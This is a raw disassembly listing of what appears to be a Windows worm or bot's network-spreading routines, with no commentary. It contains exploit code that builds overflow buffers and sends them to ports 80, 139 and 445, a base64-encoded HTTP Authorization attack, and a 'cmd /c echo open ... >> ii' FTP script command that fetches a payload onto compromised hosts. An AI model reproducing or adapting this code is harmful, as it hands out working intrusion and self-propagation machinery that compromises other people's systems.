push [esp+8+arg_0]
call sub_4039D4
pop esi
retn 4
sub_403A08 endp
; =============== S U B R O U T I N E =======================================
sub_403A25 proc near ; CODE XREF: sub_403A71+Bp
; sub_403A90+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_4039D4
retn 8
sub_403A25 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403A35 proc near ; CODE XREF: sub_403A71+16p
; sub_403A90+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_4038CE
test al, al
jz short loc_403A6E
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push (offset loc_4289A7+1)
call sub_403860
mov ecx, esi
call sub_4038B5
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_403A6E: ; CODE XREF: sub_403A35+Fj
pop esi
leave
retn
sub_403A35 endp
; =============== S U B R O U T I N E =======================================
sub_403A71 proc near ; CODE XREF: sub_403A90+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_403A25
test al, al
jz short loc_403A8C
mov ecx, esi
call sub_403A35
loc_403A8C: ; CODE XREF: sub_403A71+12j
pop esi
retn 8
sub_403A71 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403A90 proc near ; CODE XREF: ___:00404315p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40381C
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_403DE4
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_403DE4
push esi
lea ecx, [ebp+var_30]
call sub_40381C
lea ecx, [ebp+var_20]
call sub_40381C
lea ecx, [ebp+var_50]
call sub_40381C
lea ecx, [ebp+var_18]
call sub_40381C
lea ecx, [ebp+var_40]
call sub_40381C
lea ecx, [ebp+var_38]
call sub_40381C
lea ecx, [ebp+var_28]
call sub_40381C
push 4
push offset dword_428648
lea ecx, [ebp+var_30]
call sub_4039D4
push 3
push offset dword_428650
lea ecx, [ebp+var_30]
call sub_4039D4
lea ecx, [ebp+var_30]
call sub_40395A
lea ecx, [ebp+var_30]
call sub_403A35
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_417330
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset byte_42863C
call sub_4039D4
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_4039D4
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_4039D4
lea ecx, [ebp+var_20]
call sub_40395A
push offset loc_4289D0
lea ecx, [ebp+var_50]
call sub_403A08
lea ecx, [ebp+var_50]
call sub_40395A
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_403826
lea ecx, [ebp+var_58]
call sub_40395A
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_403A71
lea ecx, [ebp+var_58]
call sub_4038B5
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_417330
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_403A08
push 4
push offset dword_428654
lea ecx, [ebp+var_18]
call sub_4039D4
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_4039D4
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_4039D4
lea ecx, [ebp+var_18]
call sub_40395A
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_403A25
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_403A25
lea ecx, [ebp+var_40]
call sub_403A35
lea ecx, [ebp+var_18]
call sub_4038B5
lea ecx, [ebp+var_50]
call sub_4038B5
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_403A25
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_403A25
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_403A25
lea ecx, [ebp+var_38]
call sub_403A35
lea ecx, [ebp+var_20]
call sub_4038B5
lea ecx, [ebp+var_30]
call sub_4038B5
lea ecx, [ebp+var_40]
call sub_4038B5
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_4039D4
lea ecx, [ebp+var_28]
call sub_40395A
push 2
push offset dword_4289C4
lea ecx, [ebp+var_28]
call sub_4039D4
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_403A25
lea ecx, [ebp+var_28]
call sub_403A35
lea ecx, [ebp+var_38]
call sub_4038B5
lea ecx, [ebp+var_10]
call sub_40381C
lea ecx, [ebp+var_8]
call sub_40381C
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_403A25
lea ecx, [ebp+var_10]
call sub_4038CE
lea ecx, [ebp+var_28]
call sub_4038B5
push offset dword_4289C0
lea ecx, [ebp+var_8]
call sub_403A08
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_403A25
lea ecx, [ebp+var_8]
call sub_4038CE
lea ecx, [ebp+var_10]
call sub_4038B5
push offset dword_4289BC
lea ecx, [ebp+var_10]
call sub_403A08
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_403A25
lea ecx, [ebp+var_10]
call sub_4038CE
lea ecx, [ebp+var_8]
call sub_4038B5
push offset dword_4289B0
lea ecx, [ebp+var_8]
call sub_403A08
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_403A25
lea ecx, [ebp+var_8]
call sub_4038CE
lea ecx, [ebp+var_10]
call sub_4038B5
push offset dword_4289AC
lea ecx, [ebp+var_48]
call sub_403A08
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_403A25
lea ecx, [ebp+var_8]
call sub_4038B5
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_403DF2
; ---------------------------------------------------------------------------
loc_403DE4: ; CODE XREF: sub_403A90+1Bj
; sub_403A90+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_403DF2: ; CODE XREF: sub_403A90+352j
pop edi
pop ebx
leave
retn
sub_403A90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403DF6 proc near ; CODE XREF: sub_403EBA+A1p
; sub_403EBA+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
nop
call near ptr 71AB1890h
cmp eax, edi
jnz short loc_403E5D
lea eax, [ebp+var_10C]
push eax
push esi
call sub_422A46
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_403E61
loc_403E5D: ; CODE XREF: sub_403DF6+54j
xor eax, eax
jmp short loc_403E71
; ---------------------------------------------------------------------------
loc_403E61: ; CODE XREF: sub_403DF6+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_43ADB0
loc_403E71: ; CODE XREF: sub_403DF6+69j
pop edi
pop esi
leave
retn
sub_403DF6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403E75 proc near ; CODE XREF: sub_403EBA+81p
; sub_403EBA+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_43AD94
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_43ADE8
cmp eax, 4
jz short loc_403E9F
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_403E9F: ; CODE XREF: sub_403E75+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_43ADE8
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_403E75 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403EBA proc near ; CODE XREF: sub_403F94+48p
; ___:00404406p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_417B89
mov esi, eax
pop ecx
test esi, esi
jnz short loc_403EE3
xor al, al
jmp loc_403F8F
; ---------------------------------------------------------------------------
loc_403EE3: ; CODE XREF: sub_403EBA+20j
push ebx
push 0
push esi
call sub_417330
push 2Fh
push offset dword_4286E4
push esi
call sub_417390
push 8
lea eax, [esi+31h]
push offset dword_428714
push eax
mov [esi+2Fh], di
call sub_417390
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_417390
push 6
add ebx, edi
push offset dword_436EEC
push ebx
call sub_417390
mov ebx, [ebp+arg_0]
push 85h
push offset dword_42865C
push ebx
call sub_403E75
add esp, 48h
test al, al
jnz short loc_403F4B
loc_403F47: ; CODE XREF: sub_403EBA+B5j
xor bl, bl
jmp short loc_403F86
; ---------------------------------------------------------------------------
loc_403F4B: ; CODE XREF: sub_403EBA+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_403DF6
push [ebp+var_4]
push esi
push ebx
call sub_403E75
add esp, 1Ch
test al, al
jz short loc_403F47
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_403DF6
add esp, 10h
mov bl, 1
loc_403F86: ; CODE XREF: sub_403EBA+8Fj
push esi
call sub_417C3B
pop ecx
mov al, bl
loc_403F8F: ; CODE XREF: sub_403EBA+24j
pop edi
pop esi
pop ebx
leave
retn
sub_403EBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403F94 proc near ; CODE XREF: ___:004043ECp
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_428720
push [ebp+arg_0]
call near ptr 71AB1AF4h
nop
cmp eax, 48h
jnz short loc_403FCF
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_403DF6
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_403FCF
cmp [ebp+var_20], 82h
jz short loc_403FD3
loc_403FCF: ; CODE XREF: sub_403F94+1Bj
; sub_403F94+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_403FD3: ; CODE XREF: sub_403F94+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_403EBA
add esp, 0Ch
leave
retn
sub_403F94 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403FE6 proc near ; CODE XREF: sub_404032+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_424278
call sub_417DC4
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_424270
fstp [esp+10h+var_10]
call sub_417CA4
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_417DC4
inc eax
leave
retn
sub_403FE6 endp
; =============== S U B R O U T I N E =======================================
sub_404032 proc near ; CODE XREF: sub_4041D4+24p
var_40 = qword ptr -40h
mov eax, offset loc_4230E7
call sub_418290
sub esp, 2Ch
mov al, [ebp+13h]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp-38h]
push edi
mov [ebp-20h], edi
mov [ebp-38h], al
call sub_404667
push 1
pop ebx
push dword ptr [ebp+10h]
mov [ebp-4], ebx
call sub_403FE6
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_404074
push edi
push eax
lea ecx, [ebp-38h]
call sub_4045E2
loc_404074: ; CODE XREF: sub_404032+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_404191
mov ebx, [ebp+10h]
loc_404083: ; CODE XREF: sub_404032+156j
cmp dword ptr [ebp+10h], 3
jb short loc_40408D
push 3
jmp short loc_40409F
; ---------------------------------------------------------------------------
loc_40408D: ; CODE XREF: sub_404032+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_404097
push 2
jmp short loc_40409F
; ---------------------------------------------------------------------------
loc_404097: ; CODE XREF: sub_404032+5Fj
cmp dword ptr [ebp+10h], 1
jnz short loc_4040A0
push 1
loc_40409F: ; CODE XREF: sub_404032+59j
; sub_404032+63j
pop ebx
loc_4040A0: ; CODE XREF: sub_404032+69j
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_424288
fstp [esp+40h+var_40]
call sub_417DEB
pop ecx
pop ecx
call sub_417DC4
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_4040DF
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_4040DF: ; CODE XREF: sub_404032+93j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_40414D
add [ebp-18h], eax
loc_404131: ; CODE XREF: sub_404032+119j
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_42876C[eax]
push eax
push 1
call sub_404464
inc esi
cmp esi, [ebp-1Ch]
jb short loc_404131
loc_40414D: ; CODE XREF: sub_404032+FAj
cmp dword ptr [ebp-18h], 48h
jb short loc_40416B
push dword ptr [ebp+14h]
call sub_417AB0
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_4044BD
mov [ebp-18h], edi
loc_40416B: ; CODE XREF: sub_404032+11Fj
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_404185
sub esi, [ebp-1Ch]
loc_404176: ; CODE XREF: sub_404032+151j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_404464
dec esi
jnz short loc_404176
loc_404185: ; CODE XREF: sub_404032+13Fj
cmp [ebp+10h], edi
ja loc_404083
push 1
pop ebx
loc_404191: ; CODE XREF: sub_404032+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_404667
push dword_424280
lea eax, [ebp-38h]
mov ecx, esi
push edi
push eax
call sub_404514
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_404667
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_404032 endp
; =============== S U B R O U T I N E =======================================
sub_4041D4 proc near ; CODE XREF: ___:004043CFp
mov eax, offset loc_423104
call sub_418290
sub esp, 10h
push ebx
push esi
push edi
push offset byte_436EDC
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_404032
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_417B89
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_40421E
xor bl, bl
jmp short loc_404262
; ---------------------------------------------------------------------------
loc_40421E: ; CODE XREF: sub_4041D4+44j
mov ecx, [ebp-18h]
mov eax, offset dword_424290
cmp ecx, ebx
jnz short loc_40422C
mov ecx, eax
loc_40422C: ; CODE XREF: sub_4041D4+54j
cmp [ebp+18h], ebx
jz short loc_404234
mov eax, [ebp+18h]
loc_404234: ; CODE XREF: sub_4041D4+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41782A
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_43ADE8
cmp eax, esi
jz short loc_404259
xor bl, bl
jmp short loc_40425B
; ---------------------------------------------------------------------------
loc_404259: ; CODE XREF: sub_4041D4+7Fj
mov bl, 1
loc_40425B: ; CODE XREF: sub_4041D4+83j
push edi
call sub_417C3B
pop ecx
loc_404262: ; CODE XREF: sub_4041D4+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_404667
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_404667
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_4041D4 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 420h
and byte ptr [ebp-420h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-41Fh]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-420h]
push offset sub_428918
push eax
call sub_417390
add esp, 0Ch
mov eax, offset byte_42F674
push eax
push eax
push dword_436F0C
push dword ptr [ebp+8]
call sub_40AEE0
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp-391h]
push 400h
push eax
call sub_41782A
add eax, 90h
push eax
lea eax, [ebp-420h]
push eax
push 164h
lea eax, [ebp-8]
push offset sub_4287B0
push eax
call sub_403A90
xor esi, esi
add esp, 30h
cmp [ebp-4], esi
jnz short loc_40432B
xor eax, eax
jmp loc_404457
; ---------------------------------------------------------------------------
loc_40432B: ; CODE XREF: ___:00404322j
mov [ebp-0Ch], esi
loc_40432E: ; CODE XREF: ___:0040442Ej
test esi, esi
jnz loc_404434
push 6
push 1
push 2
nop
call near ptr 71AB3C22h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40441C
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_43AD98
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_43ADD8
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call dword_43AD40
cmp eax, 0FFFFFFFFh
jz loc_404411
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_4043D9
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call sub_404667
lea eax, [ebp+0Ch]
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_4046A3
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_4041D4
add esp, 1Ch
jmp short loc_40440E
; ---------------------------------------------------------------------------
loc_4043D9: ; CODE XREF: ___:00404397j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_4043F3
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_403F94
jmp short loc_40440B
; ---------------------------------------------------------------------------
loc_4043F3: ; CODE XREF: ___:004043E3j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_404411
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_403EBA
loc_40440B: ; CODE XREF: ___:004043F1j
add esp, 0Ch
loc_40440E: ; CODE XREF: ___:004043D7j
movzx esi, al
loc_404411: ; CODE XREF: ___:0040438Aj
; ___:004043FDj
push ebx
call dword_43AE30
test esi, esi
jnz short loc_404427
loc_40441C: ; CODE XREF: ___:00404347j
push 3E8h
call near ptr 2610E88h
nop
loc_404427: ; CODE XREF: ___:0040441Aj
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40432E
loc_404434: ; CODE XREF: ___:00404330j
lea ecx, [ebp-8]
call sub_4038B5
test esi, esi
jz short loc_404455
mov eax, [ebp+0B0h]
imul eax, 3Ch
inc dword_42ACB8[eax]
lea eax, dword_42ACB8[eax]
loc_404455: ; CODE XREF: ___:0040443Ej
mov eax, esi
loc_404457: ; CODE XREF: ___:00404326j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4230C8
loc_40445C: ; CODE XREF: sub_4230C8+3j
; ___:004230E1j ...
push 1
call sub_404667
retn
; END OF FUNCTION CHUNK FOR sub_4230C8
; =============== S U B R O U T I N E =======================================
sub_404464 proc near ; CODE XREF: sub_404032+110p
; sub_404032+14Bp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, dword_424280
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40447E
call sub_42298A
loc_40447E: ; CODE XREF: sub_404464+13j
test ebx, ebx
jbe short loc_4044B5
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_4045E2
test al, al
jz short loc_4044B5
movsx eax, [esp+0Ch+arg_4]
push ebx
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_417330
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_4044B5: ; CODE XREF: sub_404464+1Cj
; sub_404464+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_404464 endp
; =============== S U B R O U T I N E =======================================
sub_4044BD proc near ; CODE XREF: sub_404032+131p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_424280
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_4044D7
call sub_42298A
loc_4044D7: ; CODE XREF: sub_4044BD+13j
test ebx, ebx
jbe short loc_40450C
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_4045E2
test al, al
jz short loc_40450C
mov eax, [esi+8]
push ebx
push [esp+10h+arg_0]
add eax, [esi+4]
push eax
call sub_417390
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40450C: ; CODE XREF: sub_4044BD+1Cj
; sub_4044BD+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_4044BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404514 proc near ; CODE XREF: sub_404032+17Cp
; sub_4228A0+15p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_40452C
call sub_422863
loc_40452C: ; CODE XREF: sub_404514+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_40453E
mov esi, [ebp+arg_8]
loc_40453E: ; CODE XREF: sub_404514+25j
cmp edi, ebx
jnz short loc_404560
push dword_424280
add esi, ecx
mov ecx, edi
push esi
call sub_4046D8
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_4046D8
jmp short loc_4045D9
; ---------------------------------------------------------------------------
loc_404560: ; CODE XREF: sub_404514+2Cj
test esi, esi
jbe short loc_4045A3
cmp esi, eax
jnz short loc_4045A3
mov eax, [ebx+4]
test eax, eax
jnz short loc_404574
mov eax, offset dword_424290
loc_404574: ; CODE XREF: sub_404514+59j
cmp byte ptr [eax-1], 0FEh
jnb short loc_4045A3
push 1
mov ecx, edi
call sub_404667
mov eax, [ebx+4]
test eax, eax
jnz short loc_40458F
mov eax, offset dword_424290
loc_40458F: ; CODE XREF: sub_404514+74j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_4045D9
; ---------------------------------------------------------------------------
loc_4045A3: ; CODE XREF: sub_404514+4Ej
; sub_404514+52j ...
push 1
push esi
mov ecx, edi
call sub_4045E2
test al, al
jz short loc_4045D9
mov eax, [ebx+4]
test eax, eax
jnz short loc_4045BD
mov eax, offset dword_424290
loc_4045BD: ; CODE XREF: sub_404514+A2j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_417390
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [eax+esi], 0
loc_4045D9: ; CODE XREF: sub_404514+4Aj
; sub_404514+8Dj ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_404514 endp
; =============== S U B R O U T I N E =======================================
sub_4045E2 proc near ; CODE XREF: sub_404032+3Dp
; sub_404464+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_4045F4
call sub_42298A
loc_4045F4: ; CODE XREF: sub_4045E2+Bj
mov ecx, [esi+4]
xor edx, edx
cmp ecx, edx
jz short loc_40461D
mov al, [ecx-1]
cmp al, dl
jz short loc_40461D
cmp al, 0FFh
jz short loc_40461D
cmp edi, edx
jnz short loc_404658
dec al
push edx
mov [ecx-1], al
loc_404612: ; CODE XREF: sub_4045E2+47j
mov ecx, esi
call sub_404667
loc_404619: ; CODE XREF: sub_4045E2+4Bj
; sub_4045E2+52j
xor al, al
jmp short loc_404662
; ---------------------------------------------------------------------------
loc_40461D: ; CODE XREF: sub_4045E2+19j
; sub_4045E2+20j ...
cmp edi, edx
jnz short loc_404636
cmp [esp+8+arg_4], dl
jz short loc_40462B
push 1
jmp short loc_404612
; ---------------------------------------------------------------------------
loc_40462B: ; CODE XREF: sub_4045E2+43j
cmp ecx, edx
jz short loc_404619
mov [esi+8], edx
mov [ecx], dl
jmp short loc_404619
; ---------------------------------------------------------------------------
loc_404636: ; CODE XREF: sub_4045E2+3Dj
cmp [esp+8+arg_4], dl
jz short loc_404653
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_404648
cmp eax, edi
jnb short loc_404660
loc_404648: ; CODE XREF: sub_4045E2+60j
push 1
mov ecx, esi
call sub_404667
jmp short loc_404658
; ---------------------------------------------------------------------------
loc_404653: ; CODE XREF: sub_4045E2+58j
cmp [esi+0Ch], edi
jnb short loc_404660
loc_404658: ; CODE XREF: sub_4045E2+28j
; sub_4045E2+6Fj
push edi
mov ecx, esi
call sub_40473F
loc_404660: ; CODE XREF: sub_4045E2+64j
; sub_4045E2+74j
mov al, 1
loc_404662: ; CODE XREF: sub_4045E2+39j
pop edi
pop esi
retn 8
sub_4045E2 endp
; =============== S U B R O U T I N E =======================================
sub_404667 proc near ; CODE XREF: sub_404032+1Fp
; sub_404032+16Ap ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
